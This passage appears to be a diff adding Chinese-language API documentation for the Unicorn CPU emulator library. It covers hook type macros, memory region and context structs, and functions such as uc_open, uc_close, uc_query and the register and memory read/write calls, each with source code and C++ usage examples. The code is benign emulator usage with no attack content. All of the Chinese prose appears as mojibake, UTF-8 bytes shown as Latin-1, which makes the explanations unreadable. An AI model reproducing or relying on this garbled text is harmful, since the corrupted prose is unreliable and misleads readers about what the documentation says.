UC_HOOK_MEM_READ_AFTER = 1 << 13, + // Hook 无效指令异常 + UC_HOOK_INSN_INVALID = 1 << 14, +} uc_hook_type; +``` + + + +### å®å®šä¹‰Hook类型 + +```cpp +// Hook 所有未映射内存访问的事件 +#define UC_HOOK_MEM_UNMAPPED (UC_HOOK_MEM_READ_UNMAPPED + UC_HOOK_MEM_WRITE_UNMAPPED + UC_HOOK_MEM_FETCH_UNMAPPED) +// Hook 所有对å—ä¿æŠ¤å†…å­˜çš„éžæ³•访问事件 +#define UC_HOOK_MEM_PROT (UC_HOOK_MEM_READ_PROT + UC_HOOK_MEM_WRITE_PROT + UC_HOOK_MEM_FETCH_PROT) +// Hook æ‰€æœ‰éžæ³•读å–存储器的事件 +#define UC_HOOK_MEM_READ_INVALID (UC_HOOK_MEM_READ_PROT + UC_HOOK_MEM_READ_UNMAPPED) +// Hook æ‰€æœ‰éžæ³•写入存储器的事件 +#define UC_HOOK_MEM_WRITE_INVALID (UC_HOOK_MEM_WRITE_PROT + UC_HOOK_MEM_WRITE_UNMAPPED) +// Hook æ‰€æœ‰éžæ³•获å–内存的事件 +#define UC_HOOK_MEM_FETCH_INVALID (UC_HOOK_MEM_FETCH_PROT + UC_HOOK_MEM_FETCH_UNMAPPED) +// Hook æ‰€æœ‰éžæ³•的内存访问事件 +#define UC_HOOK_MEM_INVALID (UC_HOOK_MEM_UNMAPPED + UC_HOOK_MEM_PROT) +// Hook 所有有效内存访问的事件 +// 注æ„: UC_HOOK_MEM_READ 在 UC_HOOK_MEM_READ_PROT å’Œ UC_HOOK_MEM_READ_UNMAPPED 之å‰è§¦å‘ , +// 因此这个Hookå¯èƒ½ä¼šè§¦å‘一些无效的读å–。 +#define UC_HOOK_MEM_VALID (UC_HOOK_MEM_READ + UC_HOOK_MEM_WRITE + UC_HOOK_MEM_FETCH) +``` + + + +### uc_mem_region + +ç”±uc_mem_map()å’Œuc_mem_map_ptr()映射内存区域 +使用uc_mem_regions()检索该内存区域的列表 + +```cpp +typedef struct uc_mem_region { + uint64_t begin; // åŒºåŸŸèµ·å§‹åœ°å€ (包括) + uint64_t end; // 区域结æŸåœ°å€ (包括) + uint32_t perms; // 区域的内存æƒé™ +} uc_mem_region; +``` + + + +### uc_query_type + +uc_query()çš„æ‰€æœ‰æŸ¥è¯¢ç±»åž‹å‚æ•° + +```cpp +typedef enum uc_query_type { + // åŠ¨æ€æŸ¥è¯¢å½“å‰ç¡¬ä»¶æ¨¡å¼ + UC_QUERY_MODE = 1, + UC_QUERY_PAGE_SIZE, + UC_QUERY_ARCH, +} uc_query_type; +``` + + + +### uc_context + +与uc_context_*()一起使用,管ç†CPU上下文的ä¸é€æ˜Žå­˜å‚¨ + +```cpp +struct uc_context; +typedef struct uc_context uc_context; +``` + + + +### uc_prot + +新映射区域的æƒé™ + +```cpp +typedef enum uc_prot { + UC_PROT_NONE = 0, //æ—  + UC_PROT_READ = 1, //è¯»å– + UC_PROT_WRITE = 2, //写入 + UC_PROT_EXEC = 4, //坿‰§è¡Œ + UC_PROT_ALL = 7, //所有æƒé™ +} uc_prot; +``` + + + +## 0x2 APIåˆ†æž + +### uc_version + +```cpp +unsigned int uc_version(unsigned int *major, unsigned int *minor); +``` + +用于返回Unicorn APIä¸»æ¬¡ç‰ˆæœ¬ä¿¡æ¯ + +``` +@major: APIä¸»ç‰ˆæœ¬å· +@minor: APIæ¬¡ç‰ˆæœ¬å· +@return 16è¿›åˆ¶æ•°ï¼Œè®¡ç®—æ–¹å¼ (major << 8 | minor) + +æç¤º: 该返回值å¯ä»¥å’Œå®UC_MAKE_VERSION比较 +``` + +æºç å®žçް + +```c +unsigned int uc_version(unsigned int *major, unsigned int *minor) +{ + if (major != NULL && minor != NULL) { + *major = UC_API_MAJOR; //å® + *minor = UC_API_MINOR; //å® + } + + return (UC_API_MAJOR << 8) + UC_API_MINOR; //(major << 8 | minor) +} +``` + +编译åŽä¸å¯æ›´æ”¹ï¼Œä¸æŽ¥å—自定义版本 + +使用示例: + +```cpp +#include <iostream> +#include "unicorn/unicorn.h" +using namespace std; + +int main() +{ + unsigned int version; + version = uc_version(NULL,NULL); + cout << hex << version << endl; + return 0; +} +``` + +输出: + +![image.png](API_Doc_Pic/q3JtOQRPl5xTFKp.png) + +得到版本å·1.0.0 + + + +### uc_arch_supported + +```c +bool uc_arch_supported(uc_arch arch); +``` + +确定Unicornæ˜¯å¦æ”¯æŒå½“剿ž¶æž„ + +``` + @arch: 架构类型 (UC_ARCH_*) + @return 如果支æŒè¿”回True +``` + +æºç å®žçް + +```c +bool uc_arch_supported(uc_arch arch) +{ + switch (arch) { +#ifdef UNICORN_HAS_ARM + case UC_ARCH_ARM: return true; +#endif +#ifdef UNICORN_HAS_ARM64 + case UC_ARCH_ARM64: return true; +#endif +#ifdef UNICORN_HAS_M68K + case UC_ARCH_M68K: return true; +#endif +#ifdef UNICORN_HAS_MIPS + case UC_ARCH_MIPS: return true; +#endif +#ifdef UNICORN_HAS_PPC + case UC_ARCH_PPC: return true; +#endif +#ifdef UNICORN_HAS_SPARC + case UC_ARCH_SPARC: return true; +#endif +#ifdef UNICORN_HAS_X86 + case UC_ARCH_X86: return true; +#endif + /* 无效或ç¦ç”¨æž¶æž„ */ + default: return false; + } +} +``` + +使用示例: + +```cpp +#include <iostream> +#include "unicorn/unicorn.h" +using namespace std; + +int main() +{ + cout << "æ˜¯å¦æ”¯æŒUC_ARCH_X86架构:" << uc_arch_supported(UC_ARCH_X86) << endl; + return 0; +} +``` + +输出: + +![image.png](API_Doc_Pic/NExsavSgu4yMbBQ.png) + + + +### uc_open + +```c +uc_err uc_open(uc_arch arch, uc_mode mode, uc_engine **uc); +``` + +创建新的Unicorn实例 + +``` +@arch: 架构类型 (UC_ARCH_*) +@mode: 硬件模å¼. ç”± UC_MODE_* ç»„åˆ +@uc: æŒ‡å‘ uc_engine 的指针, 返回时更新 + +@return æˆåŠŸåˆ™è¿”å›žUC_ERR_OK , å¦åˆ™è¿”回 uc_err 枚举的其他错误类型 +``` + +æºç å®žçް + +```c +uc_err uc_open(uc_arch arch, uc_mode mode, uc_engine **result) +{ + struct uc_struct *uc; + + if (arch < UC_ARCH_MAX) { + uc = calloc(1, sizeof(*uc)); //申请内存 + if (!uc) { + // 内存ä¸è¶³ + return UC_ERR_NOMEM; + } + + uc->errnum = UC_ERR_OK; + uc->arch = arch; + uc->mode = mode; + + // åˆå§‹åŒ– + // uc->ram_list = { .blocks = QTAILQ_HEAD_INITIALIZER(ram_list.blocks) }; + uc->ram_list.blocks.tqh_first = NULL; + uc->ram_list.blocks.tqh_last = &(uc->ram_list.blocks.tqh_first); + + uc->memory_listeners.tqh_first = NULL; + uc->memory_listeners.tqh_last = &uc->memory_listeners.tqh_first; + + uc->address_spaces.tqh_first = NULL; + uc->address_spaces.tqh_last = &uc->address_spaces.tqh_first; + + switch(arch) { // æ ¹æ®æž¶æž„è¿›è¡Œé¢„å¤„ç† + default: + break; +#ifdef UNICORN_HAS_M68K + case UC_ARCH_M68K: + if ((mode & ~UC_MODE_M68K_MASK) || + !(mode & UC_MODE_BIG_ENDIAN)) { + free(uc); + return UC_ERR_MODE; + } + uc->init_arch = m68k_uc_init; + break; +#endif +#ifdef UNICORN_HAS_X86 + case UC_ARCH_X86: + if ((mode & ~UC_MODE_X86_MASK) || + (mode & UC_MODE_BIG_ENDIAN) || + !(mode & (UC_MODE_16|UC_MODE_32|UC_MODE_64))) { + free(uc); + return UC_ERR_MODE; + } + uc->init_arch = x86_uc_init; + break; +#endif +#ifdef UNICORN_HAS_ARM + case UC_ARCH_ARM: + if ((mode & ~UC_MODE_ARM_MASK)) { + free(uc); + return UC_ERR_MODE; + } + if (mode & UC_MODE_BIG_ENDIAN) { + uc->init_arch = armeb_uc_init; + } else { + uc->init_arch = arm_uc_init; + } + + if (mode & UC_MODE_THUMB) + uc->thumb = 1; + break; +#endif +#ifdef UNICORN_HAS_ARM64 + case UC_ARCH_ARM64: + if (mode & ~UC_MODE_ARM_MASK) { + free(uc); + return UC_ERR_MODE; + } + if (mode & UC_MODE_BIG_ENDIAN) { + uc->init_arch = arm64eb_uc_init; + } else { + uc->init_arch = arm64_uc_init; + } + break; +#endif + +#if defined(UNICORN_HAS_MIPS) || defined(UNICORN_HAS_MIPSEL) || defined(UNICORN_HAS_MIPS64) || defined(UNICORN_HAS_MIPS64EL) + case UC_ARCH_MIPS: + if ((mode & ~UC_MODE_MIPS_MASK) || + !(mode & (UC_MODE_MIPS32|UC_MODE_MIPS64))) { + free(uc); + return UC_ERR_MODE; + } + if (mode & UC_MODE_BIG_ENDIAN) { +#ifdef UNICORN_HAS_MIPS + if (mode & UC_MODE_MIPS32) + uc->init_arch = mips_uc_init; +#endif +#ifdef UNICORN_HAS_MIPS64 + if (mode & UC_MODE_MIPS64) + uc->init_arch = mips64_uc_init; +#endif + } else { // å°ç«¯åº +#ifdef UNICORN_HAS_MIPSEL + if (mode & UC_MODE_MIPS32) + uc->init_arch = mipsel_uc_init; +#endif +#ifdef UNICORN_HAS_MIPS64EL + if (mode & UC_MODE_MIPS64) + uc->init_arch = mips64el_uc_init; +#endif + } + break; +#endif + +#ifdef UNICORN_HAS_SPARC + case UC_ARCH_SPARC: + if ((mode & ~UC_MODE_SPARC_MASK) || + !(mode & UC_MODE_BIG_ENDIAN) || + !(mode & (UC_MODE_SPARC32|UC_MODE_SPARC64))) { + free(uc); + return UC_ERR_MODE; + } + if (mode & UC_MODE_SPARC64) + uc->init_arch = sparc64_uc_init; + else + uc->init_arch = sparc_uc_init; + break; +#endif + } + + if (uc->init_arch == NULL) { + return UC_ERR_ARCH; + } + + if (machine_initialize(uc)) + return UC_ERR_RESOURCE; + + *result = uc; + + if (uc->reg_reset) + uc->reg_reset(uc); + + return UC_ERR_OK; + } else { + return UC_ERR_ARCH; + } +} +``` + +**注æ„: uc_open会申请堆内存,使用完必须用uc_close释放,å¦åˆ™ä¼šå‘生泄露** + +使用示例: + +```cpp +#include <iostream> +#include "unicorn/unicorn.h" +using namespace std; + +int main() +{ + uc_engine* uc; + uc_err err; + + //// åˆå§‹åŒ– X86-32bit æ¨¡å¼æ¨¡æ‹Ÿå™¨ + err = uc_open(UC_ARCH_X86, UC_MODE_32, &uc); + if (err != UC_ERR_OK) { + printf("Failed on uc_open() with error returned: %u\n", err); + return -1; + } + + if (!err) + cout << "uc引擎创建æˆåŠŸ" << endl; + + //// 关闭uc + err = uc_close(uc); + if (err != UC_ERR_OK) { + printf("Failed on uc_close() with error returned: %u\n", err); + return -1; + } + + if (!err) + cout << "uc引擎关闭æˆåŠŸ" << endl; + + return 0; +} +``` + +输出 + +![image.png](API_Doc_Pic/dqKBwAWUL7XvypE.png) + + + +### uc_close + +```c +uc_err uc_close(uc_engine *uc); +``` + +关闭一个ucå®žä¾‹ï¼Œå°†é‡Šæ”¾å†…å­˜ã€‚å…³é—­åŽæ— æ³•æ¢å¤ã€‚ + +``` +@uc: 指å‘ç”± uc_open() 返回的指针 + +@return æˆåŠŸåˆ™è¿”å›žUC_ERR_OK , å¦åˆ™è¿”回 uc_err 枚举的其他错误类型 +``` + +æºç å®žçް + +```c +uc_err uc_close(uc_engine *uc) +{ + int i; + struct list_item *cur; + struct hook *hook; + + // 清ç†å†…éƒ¨æ•°æ® + if (uc->release) + uc->release(uc->tcg_ctx); + g_free(uc->tcg_ctx); + + // æ¸…ç† CPU. + g_free(uc->cpu->tcg_as_listener); + g_free(uc->cpu->thread); + + // æ¸…ç†æ‰€æœ‰ objects. + OBJECT(uc->machine_state->accelerator)->ref = 1; + OBJECT(uc->machine_state)->ref = 1; + OBJECT(uc->owner)->ref = 1; + OBJECT(uc->root)->ref = 1; + + object_unref(uc, OBJECT(uc->machine_state->accelerator)); + object_unref(uc, OBJECT(uc->machine_state)); + object_unref(uc, OBJECT(uc->cpu)); + object_unref(uc, OBJECT(&uc->io_mem_notdirty)); + object_unref(uc, OBJECT(&uc->io_mem_unassigned)); + object_unref(uc, OBJECT(&uc->io_mem_rom)); + object_unref(uc, OBJECT(uc->root)); + + // 释放内存 + g_free(uc->system_memory); + + // 释放相关线程 + if (uc->qemu_thread_data) + g_free(uc->qemu_thread_data); + + // é‡Šæ”¾å…¶ä»–æ•°æ® + free(uc->l1_map); + + if (uc->bounce.buffer) { + free(uc->bounce.buffer); + } + + g_hash_table_foreach(uc->type_table, free_table, uc); + g_hash_table_destroy(uc->type_table); + + for (i = 0; i < DIRTY_MEMORY_NUM; i++) { + free(uc->ram_list.dirty_memory[i]); + } + + // 释放hookå’Œhook列表 + for (i = 0; i < UC_HOOK_MAX; i++) { + cur = uc->hook[i].head; + // hook å¯å­˜åœ¨äºŽå¤šä¸ªåˆ—表,å¯é€šè¿‡è®¡æ•°èŽ·å–释放的时间 + while (cur) { + hook = (struct hook *)cur->data; + if (--hook->refs == 0) { + free(hook); + } + cur = cur->next; + } + list_clear(&uc->hook[i]); + } + + free(uc->mapped_blocks); + + // 最åŽé‡Šæ”¾uc自身 + memset(uc, 0, sizeof(*uc)); + free(uc); + + return UC_ERR_OK; +} +``` + +使用实例åŒuc_open() + + + +### uc_query + +```c +uc_err uc_query(uc_engine *uc, uc_query_type type, size_t *result); +``` + +æŸ¥è¯¢å¼•æ“Žçš„å†…éƒ¨çŠ¶æ€ + +``` + @uc: uc_open() è¿”å›žçš„å¥æŸ„ + @type: uc_query_type 中枚举的类型 + + @result: ä¿å­˜è¢«æŸ¥è¯¢çš„内部状æ€çš„æŒ‡é’ˆ + + @return: æˆåŠŸåˆ™è¿”å›žUC_ERR_OK , å¦åˆ™è¿”回 uc_err 枚举的其他错误类型 +``` + +æºç å®žçް + +```c +uc_err uc_query(uc_engine *uc, uc_query_type type, size_t *result) +{ + if (type == UC_QUERY_PAGE_SIZE) { + *result = uc->target_page_size; + return UC_ERR_OK; + } + + if (type == UC_QUERY_ARCH) { + *result = uc->arch; + return UC_ERR_OK; + } + + switch(uc->arch) { +#ifdef UNICORN_HAS_ARM + case UC_ARCH_ARM: + return uc->query(uc, type, result); +#endif + default: + return UC_ERR_ARG; + } + + return UC_ERR_OK; +} +``` + +使用示例: + +```cpp +#include <iostream> +#include "unicorn/unicorn.h" +using namespace std; +int main() +{ + uc_engine* uc; + uc_err err; + + //// Initialize emulator in X86-32bit mode + err = uc_open(UC_ARCH_X86, UC_MODE_32, &uc); + if (err != UC_ERR_OK) { + printf("Failed on uc_open() with error returned: %u\n", err); + return -1; + } + if (!err) + cout << "uc实例创建æˆåŠŸ" << endl; + + size_t result[] = {0}; + err = uc_query(uc, UC_QUERY_ARCH, result); // 查询架构 + if (!err) + cout << "查询æˆåŠŸ: " << *result << endl; + + err = uc_close(uc); + if (err != UC_ERR_OK) { + printf("Failed on uc_close() with error returned: %u\n", err); + return -1; + } + if (!err) + cout << "uc实例关闭æˆåŠŸ" << endl; + + return 0; +} +``` + +输出 + +![image.png](API_Doc_Pic/ZtRKvUoaPTlshJ4.png) + +架构查询结果为4,对应的正是UC_ARCH_X86 + + + +### uc_errno + +```c +uc_err uc_errno(uc_engine *uc); +``` + +当æŸä¸ªAPI函数失败时,报告最åŽçš„错误å·ï¼Œä¸€æ—¦è¢«è®¿é—®ï¼Œuc_errnoå¯èƒ½ä¸ä¼šä¿ç•™åŽŸæ¥çš„值。 + +``` +@uc: uc_open() è¿”å›žçš„å¥æŸ„ + +@return: æˆåŠŸåˆ™è¿”å›žUC_ERR_OK , å¦åˆ™è¿”回 uc_err 枚举的其他错误类型 +``` + +æºç å®žçް + +```c +uc_err uc_errno(uc_engine *uc) +{ + return uc->errnum; +} +``` + +使用示例: + +```cpp +#include <iostream> +#include "unicorn/unicorn.h" +using namespace std; + +int main() +{ + uc_engine* uc; + uc_err err; + + err = uc_open(UC_ARCH_X86, UC_MODE_32, &uc); + if (err != UC_ERR_OK) { + printf("Failed on uc_open() with error returned: %u\n", err); + return -1; + } + if (!err) + cout << "uc实例创建æˆåŠŸ" << endl; + + err = uc_errno(uc); + cout << "错误å·ï¼š " << err << endl; + + err = uc_close(uc); + if (err != UC_ERR_OK) { + printf("Failed on uc_close() with error returned: %u\n", err); + return -1; + } + if (!err) + cout << "uc实例关闭æˆåŠŸ" << endl; + + return 0; +} +``` + +输出 + +![image.png](API_Doc_Pic/IZhyWrGebA5tT4i.png) + +无错误,输出错误å·ä¸º0 + + + +### uc_strerror + +```c +const char *uc_strerror(uc_err code); +``` + +返回给定错误å·çš„解释 + +``` + @code: é”™è¯¯å· + + @return: 指å‘给定错误å·çš„解释的字符串指针 +``` + +æºç å®žçް + +```cpp +const char *uc_strerror(uc_err code) +{ + switch(code) { + default: + return "Unknown error code"; + case UC_ERR_OK: + return "OK (UC_ERR_OK)"; + case UC_ERR_NOMEM: + return "No memory available or memory not present (UC_ERR_NOMEM)"; + case UC_ERR_ARCH: + return "Invalid/unsupported architecture (UC_ERR_ARCH)"; + case UC_ERR_HANDLE: + return "Invalid handle (UC_ERR_HANDLE)"; + case UC_ERR_MODE: + return "Invalid mode (UC_ERR_MODE)"; + case UC_ERR_VERSION: + return "Different API version between core & binding (UC_ERR_VERSION)"; + case UC_ERR_READ_UNMAPPED: + return "Invalid memory read (UC_ERR_READ_UNMAPPED)"; + case UC_ERR_WRITE_UNMAPPED: + return "Invalid memory write (UC_ERR_WRITE_UNMAPPED)"; + case UC_ERR_FETCH_UNMAPPED: + return "Invalid memory fetch (UC_ERR_FETCH_UNMAPPED)"; + case UC_ERR_HOOK: + return "Invalid hook type (UC_ERR_HOOK)"; + case UC_ERR_INSN_INVALID: + return "Invalid instruction (UC_ERR_INSN_INVALID)"; + case UC_ERR_MAP: + return "Invalid memory mapping (UC_ERR_MAP)"; + case UC_ERR_WRITE_PROT: + return "Write to write-protected memory (UC_ERR_WRITE_PROT)"; + case UC_ERR_READ_PROT: + return "Read from non-readable memory (UC_ERR_READ_PROT)"; + case UC_ERR_FETCH_PROT: + return "Fetch from non-executable memory (UC_ERR_FETCH_PROT)"; + case UC_ERR_ARG: + return "Invalid argument (UC_ERR_ARG)"; + case UC_ERR_READ_UNALIGNED: + return "Read from unaligned memory (UC_ERR_READ_UNALIGNED)"; + case UC_ERR_WRITE_UNALIGNED: + return "Write to unaligned memory (UC_ERR_WRITE_UNALIGNED)"; + case UC_ERR_FETCH_UNALIGNED: + return "Fetch from unaligned memory (UC_ERR_FETCH_UNALIGNED)"; + case UC_ERR_RESOURCE: + return "Insufficient resource (UC_ERR_RESOURCE)"; + case UC_ERR_EXCEPTION: + return "Unhandled CPU exception (UC_ERR_EXCEPTION)"; + case UC_ERR_TIMEOUT: + return "Emulation timed out (UC_ERR_TIMEOUT)"; + } +} +``` + +使用示例: + +```cpp +#include <iostream> +#include "unicorn/unicorn.h" +using namespace std; + +int main() +{ + uc_engine* uc; + uc_err err; + + err = uc_open(UC_ARCH_X86, UC_MODE_32, &uc); + if (err != UC_ERR_OK) { + printf("Failed on uc_open() with error returned: %u\n", err); + return -1; + } + if (!err) + cout << "uc实例创建æˆåŠŸ" << endl; + + err = uc_errno(uc); + cout << "错误å·ï¼š " << err << " 错误æè¿°ï¼š " << uc_strerror(err) <<endl; + + err = uc_close(uc); + if (err != UC_ERR_OK) { + printf("Failed on uc_close() with error returned: %u\n", err); + return -1; + } + if (!err) + cout << "uc实例关闭æˆåŠŸ" << endl; + + return 0; +} +``` + +输出 + +![image.png](API_Doc_Pic/MbZk8KjQFqJOxmd.png) + + + +### uc_reg_write + +```c +uc_err uc_reg_write(uc_engine *uc, int regid, const void *value); +``` + +将值写入寄存器 + +``` +@uc: uc_open()è¿”å›žçš„å¥æŸ„ +@regid: 将被修改的寄存器ID +@value: 指å‘寄存器将被修改æˆçš„值的指针 + +@return æˆåŠŸåˆ™è¿”å›žUC_ERR_OK , å¦åˆ™è¿”回 uc_err 枚举的其他错误类型 +``` + +æºç å®žçް + +```c +uc_err uc_reg_write(uc_engine *uc, int regid, const void *value) +{ + return uc_reg_write_batch(uc, ®id, (void *const *)&value, 1); +} + +uc_err uc_reg_write_batch(uc_engine *uc, int *ids, void *const *vals, int count) +{ + int ret = UC_ERR_OK; + if (uc->reg_write) + ret = uc->reg_write(uc, (unsigned int *)ids, vals, count); //结构体中写入 + else + return UC_ERR_EXCEPTION; + + return ret; +} +``` + +使用示例: + +```cpp +#include <iostream> +#include "unicorn/unicorn.h" +using namespace std; + +int main() +{ + uc_engine* uc; + uc_err err; + + err = uc_open(UC_ARCH_X86, UC_MODE_32, &uc); + if (err != UC_ERR_OK) { + printf("Failed on uc_open() with error returned: %u\n", err); + return -1; + } + if (!err) + cout << "uc实例创建æˆåŠŸ" << endl; + + int r_eax = 0x12; + err = uc_reg_write(uc, UC_X86_REG_ECX, &r_eax); + if (!err) + cout << "写入æˆåŠŸ: " << r_eax << endl; + + err = uc_close(uc); + if (err != UC_ERR_OK) { + printf("Failed on uc_close() with error returned: %u\n", err); + return -1; + } + if (!err) + cout << "uc实例关闭æˆåŠŸ" << endl; + + return 0; +} +``` + +输出 + +![image.png](API_Doc_Pic/DkztJcigHCdmnRp.png) + + + +### uc_reg_read + +```c +uc_err uc_reg_read(uc_engine *uc, int regid, void *value); +``` + +读å–寄存器的值 + +``` +@uc: uc_open()è¿”å›žçš„å¥æŸ„ +@regid: 将被读å–的寄存器ID +@value: 指å‘ä¿å­˜å¯„存器值的指针 + +@return æˆåŠŸåˆ™è¿”å›žUC_ERR_OK , å¦åˆ™è¿”回 uc_err 枚举的其他错误类型 +``` + +æºç å®žçް + +```c +uc_err uc_reg_read(uc_engine *uc, int regid, void *value) +{ + return uc_reg_read_batch(uc, ®id, &value, 1); +} + +uc_err uc_reg_read_batch(uc_engine *uc, int *ids, void **vals, int count) +{ + if (uc->reg_read) + uc->reg_read(uc, (unsigned int *)ids, vals, count); + else + return -1; + + return UC_ERR_OK; +} +``` + +使用示例: + +```cpp +#include <iostream> +#include "unicorn/unicorn.h" +using namespace std; + +int main() +{ + uc_engine* uc; + uc_err err; + + err = uc_open(UC_ARCH_X86, UC_MODE_32, &uc); + if (err != UC_ERR_OK) { + printf("Failed on uc_open() with error returned: %u\n", err); + return -1; + } + if (!err) + cout << "uc实例创建æˆåŠŸ" << endl; + + int r_eax = 0x12; + err = uc_reg_write(uc, UC_X86_REG_ECX, &r_eax); + if (!err) + cout << "写入æˆåŠŸ: " << r_eax << endl; + + int recv_eax; + err = uc_reg_read(uc, UC_X86_REG_ECX, &recv_eax); + if (!err) + cout << "è¯»å–æˆåŠŸ: " << recv_eax << endl; + + err = uc_close(uc); + if (err != UC_ERR_OK) { + printf("Failed on uc_close() with error returned: %u\n", err); + return -1; + } + if (!err) + cout << "uc实例关闭æˆåŠŸ" << endl; + + return 0; +} +``` + +输出 + +![image.png](API_Doc_Pic/ABkexFCfphu3zIg.png) + + + +### uc_reg_write_batch + +```c +uc_err uc_reg_write_batch(uc_engine *uc, int *regs, void *const *vals, int count); +``` + +åŒæ—¶å°†å¤šä¸ªå€¼å†™å…¥å¤šä¸ªå¯„存器 + +``` +@uc: uc_open()è¿”å›žçš„å¥æŸ„ +@regid: 存储将被写入的多个寄存器ID的数组 +@value: 指å‘ä¿å­˜å¤šä¸ªå€¼çš„æ•°ç»„的指针 +@count: *regs å’Œ *vals 数组的长度 + +@return æˆåŠŸåˆ™è¿”å›žUC_ERR_OK , å¦åˆ™è¿”回 uc_err 枚举的其他错误类型 +``` + +æºç å®žçް + +```c +uc_err uc_reg_write_batch(uc_engine *uc, int *ids, void *const *vals, int count) +{ + int ret = UC_ERR_OK; + if (uc->reg_write) + ret = uc->reg_write(uc, (unsigned int *)ids, vals, count); + else + return UC_ERR_EXCEPTION; + + return ret; +} +``` + +使用示例: + +```cpp +#include <iostream> +#include <string> +#include "unicorn/unicorn.h" +using namespace std; + +int syscall_abi[] = { + UC_X86_REG_RAX, UC_X86_REG_RDI, UC_X86_REG_RSI, UC_X86_REG_RDX, + UC_X86_REG_R10, UC_X86_REG_R8, UC_X86_REG_R9 +}; + +uint64_t vals[7] = { 200, 10, 11, 12, 13, 14, 15 }; + +void* ptrs[7]; + +int main() +{ + int i; + uc_err err; + uc_engine* uc; + + // set up register pointers + for (i = 0; i < 7; i++) { + ptrs[i] = &vals[i]; + } + + if ((err = uc_open(UC_ARCH_X86, UC_MODE_64, &uc))) { + uc_perror("uc_open", err); + return 1; + } + + // reg_write_batch + printf("reg_write_batch({200, 10, 11, 12, 13, 14, 15})\n"); + if ((err = uc_reg_write_batch(uc, syscall_abi, ptrs, 7))) { + uc_perror("uc_reg_write_batch", err); + return 1; + } + + // reg_read_batch + memset(vals, 0, sizeof(vals)); + if ((err = uc_reg_read_batch(uc, syscall_abi, ptrs, 7))) { + uc_perror("uc_reg_read_batch", err); + return 1; + } + + printf("reg_read_batch = {"); + + for (i = 0; i < 7; i++) { + if (i != 0) printf(", "); + printf("%" PRIu64, vals[i]); + } + + printf("}\n"); + + uint64_t var[7] = { 0 }; + for (int i = 0; i < 7; i++) + { + cout << syscall_abi[i] << " "; + printf("%" PRIu64, vals[i]); + cout << endl; + } + + return 0; +} +``` + +输出 + +![image.png](API_Doc_Pic/l1AhdxgKE2U3tZB.png) + + + +### uc_reg_read_batch + +```c +uc_err uc_reg_read_batch(uc_engine *uc, int *regs, void **vals, int count); +``` + +åŒæ—¶è¯»å–多个寄存器的值。 + +``` +@uc: uc_open()è¿”å›žçš„å¥æŸ„ +@regid: 存储将被读å–的多个寄存器ID的数组 +@value: 指å‘ä¿å­˜å¤šä¸ªå€¼çš„æ•°ç»„的指针 +@count: *regs å’Œ *vals 数组的长度 + +@return æˆåŠŸåˆ™è¿”å›žUC_ERR_OK , å¦åˆ™è¿”回 uc_err 枚举的其他错误类型 +``` + +æºç å®žçް + +```c +uc_err uc_reg_read_batch(uc_engine *uc, int *ids, void **vals, int count) +{ + if (uc->reg_read) + uc->reg_read(uc, (unsigned int *)ids, vals, count); + else + return -1; + + return UC_ERR_OK; +} +``` + +使用示例åŒuc_reg_write_batch()。 + + + +### uc_mem_write + +```c +uc_err uc_mem_write(uc_engine *uc, uint64_t address, const void *bytes, size_t size); +``` + +在内存中写入一段字节ç ã€‚ + +``` + @uc: uc_open() è¿”å›žçš„å¥æŸ„ + @address: å†™å…¥å­—èŠ‚çš„èµ·å§‹åœ°å€ + @bytes: 指å‘一个包å«è¦å†™å…¥å†…存的数æ®çš„æŒ‡é’ˆ + @size: è¦å†™å…¥çš„内存大å°ã€‚ + + 注æ„: @bytes å¿…é¡»è¶³å¤Ÿå¤§ä»¥åŒ…å« @size 字节。 + +@return æˆåŠŸåˆ™è¿”å›žUC_ERR_OK , å¦åˆ™è¿”回 uc_err 枚举的其他错误类型 +``` + +æºç å®žçް + +```c +uc_err uc_mem_write(uc_engine *uc, uint64_t address, const void *_bytes, size_t size) +{ + size_t count = 0, len; + const uint8_t *bytes = _bytes; + + if (uc->mem_redirect) { + address = uc->mem_redirect(address); + } + + if (!check_mem_area(uc, address, size)) + return UC_ERR_WRITE_UNMAPPED; + + // 内存区域å¯ä»¥é‡å ç›¸é‚»çš„å†…å­˜å— + while(count < size) { + MemoryRegion *mr = memory_mapping(uc, address); + if (mr) { + uint32_t operms = mr->perms; + if (!(operms & UC_PROT_WRITE)) // æ²¡æœ‰å†™ä¿æŠ¤ + // 标记为å¯å†™ + uc->readonly_mem(mr, false); + + len = (size_t)MIN(size - count, mr->end - address); + if (uc->write_mem(&uc->as, address, bytes, len) == false) + break; + + if (!(operms & UC_PROT_WRITE)) // æ²¡æœ‰å†™ä¿æŠ¤ + // è®¾ç½®å†™ä¿æŠ¤ + uc->readonly_mem(mr, true); + + count += len; + address += len; + bytes += len; + } else // 此地å€å°šæœªè¢«æ˜ å°„ + break; + } + + if (count == size) + return UC_ERR_OK; + else + return UC_ERR_WRITE_UNMAPPED; +} +``` + +使用示例: + +```cpp +#include <iostream> +#include <string> +#include "unicorn/unicorn.h" +using namespace std; + +#define X86_CODE32 "\x41\x4a" // INC ecx; DEC edx +#define ADDRESS 0x1000 + +int main() +{ + uc_engine* uc; + uc_err err; + + err = uc_open(UC_ARCH_X86, UC_MODE_32, &uc); + if (err != UC_ERR_OK) { + printf("Failed on uc_open() with error returned: %u\n", err); + return -1; + } + + uc_mem_map(uc, ADDRESS, 2 * 1024 * 1024, UC_PROT_ALL); + + if (uc_mem_write(uc, ADDRESS, X86_CODE32, sizeof(X86_CODE32) - 1)) { + printf("Failed to write emulation code to memory, quit!\n"); + return -1; + } + + uint32_t code; + + if(uc_mem_read(uc,ADDRESS,&code, sizeof(code))) { + printf("Failed to read emulation code to memory, quit!\n"); + return -1; + } + + cout << hex << code << endl; + + err = uc_close(uc); + if (err != UC_ERR_OK) { + printf("Failed on uc_close() with error returned: %u\n", err); + return -1; + } + return 0; +} +``` + +输出 + +![image.png](API_Doc_Pic/l4HhgDzcJIVvFNU.png) + + + +### uc_mem_read + +```c +uc_err uc_mem_read(uc_engine *uc, uint64_t address, void *bytes, size_t size); +``` + +从内存中读å–字节。 + +``` + @uc: uc_open() è¿”å›žçš„å¥æŸ„ + @address: 读å–å­—èŠ‚çš„èµ·å§‹åœ°å€ + @bytes: 指å‘一个包å«è¦è¯»å–内存的数æ®çš„æŒ‡é’ˆ + @size: è¦è¯»å–的内存大å°ã€‚ + + 注æ„: @bytes å¿…é¡»è¶³å¤Ÿå¤§ä»¥åŒ…å« @size 字节。 + +@return æˆåŠŸåˆ™è¿”å›žUC_ERR_OK , å¦åˆ™è¿”回 uc_err 枚举的其他错误类型 +``` + +æºç å®žçް + +```c +uc_err uc_mem_read(uc_engine *uc, uint64_t address, void *_bytes, size_t size) +{ + size_t count = 0, len; + uint8_t *bytes 